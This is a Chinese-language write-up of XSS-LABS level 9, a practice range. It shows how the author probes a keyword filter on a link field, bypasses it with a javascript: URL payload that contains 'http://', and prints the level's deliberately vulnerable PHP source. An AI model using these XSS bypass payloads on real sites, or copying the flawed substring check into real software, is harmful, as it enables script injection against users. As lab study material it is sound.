关注这个靶场的其他相关笔记:XSS - LABS —— 靶场笔记合集
0x01:过关流程
进入关卡,右击页面,查看源码,搜索关键词 not bad!
,查看页面回显点:
源码中显示链接不合法,我们传递一个合法的链接看看:
往合法的链接中添加不合法内容,尝试闭合<a>
标签,进而进行 XSS 攻击:
http://www.baidu.com" onmouseover="alert(1)
可以发现,又被过滤了。下面测试一下当前页面的过滤规则:
Payload | Echo Print | Analysis Note |
---|---|---|
http:// |
http:// |
这个是能回显的最低要求 |
HTTP:// |
http:// |
证明后端对传入的数据都转换为了小写字符 |
http://' |
http://' |
未过滤 '
|
http://" |
http://" |
" =>"
|
http://on |
http://o_n |
on => o_n
|
http://script |
http://scr_ipt |
script => scr_ipt
|
1http:// |
1http:// |
看来是字符串中包含 http:// 就让过哈 |
找到规则漏洞了,后端检测的是字符串中只要包含 http://
就给过,虽然 script
给过滤了,但是,Level 8 中我们已经有经验了,上字符编码(单引号还没被过滤,天助我也):
javascript:alert('http://')
0x02:源码分析
下面是 XSS LABS Level 9 的源码,以及我对其的部分笔记:
<!DOCTYPE html><!--STATUS OK-->
<html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
// 修改 alert 默认行为,跳转到下一关
window.alert = function() {
confirm("完成的不错!");
window.location.href = "level10.php?keyword=well done!";
}
</script>
<title>欢迎来到level9</title>
</head>
<body>
<h1 align=center>欢迎来到level9</h1>
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]); // 将 keyword 传递过来的参数,全部变为小写
// 过滤内容:script、on、src、data、href、"
$str2 = str_replace("script", "scr_ipt", $str);
$str3 = str_replace("on", "o_n", $str2);
$str4 = str_replace("src", "sr_c", $str3);
$str5 = str_replace("data", "da_ta", $str4);
$str6 = str_replace("href", "hr_ef", $str5);
$str7 = str_replace('"', '"', $str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword value="' . htmlspecialchars($str) . '">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if (false === strpos($str7, 'http://')) { // 这里就是问题:strpos($str1, $str2),返回 $str2 在 $str1 中第一次出现的位置,如果没有找到,则返回 false
echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
} else {
echo '<center><BR><a href="' . $str7 . '">友情链接</a></center>';
}
?>
<center><img src=level9.png></center>
<?php
echo "<h3 align=center>payload的长度:" . strlen($str7) . "</h3>";
?>
</body>
</html>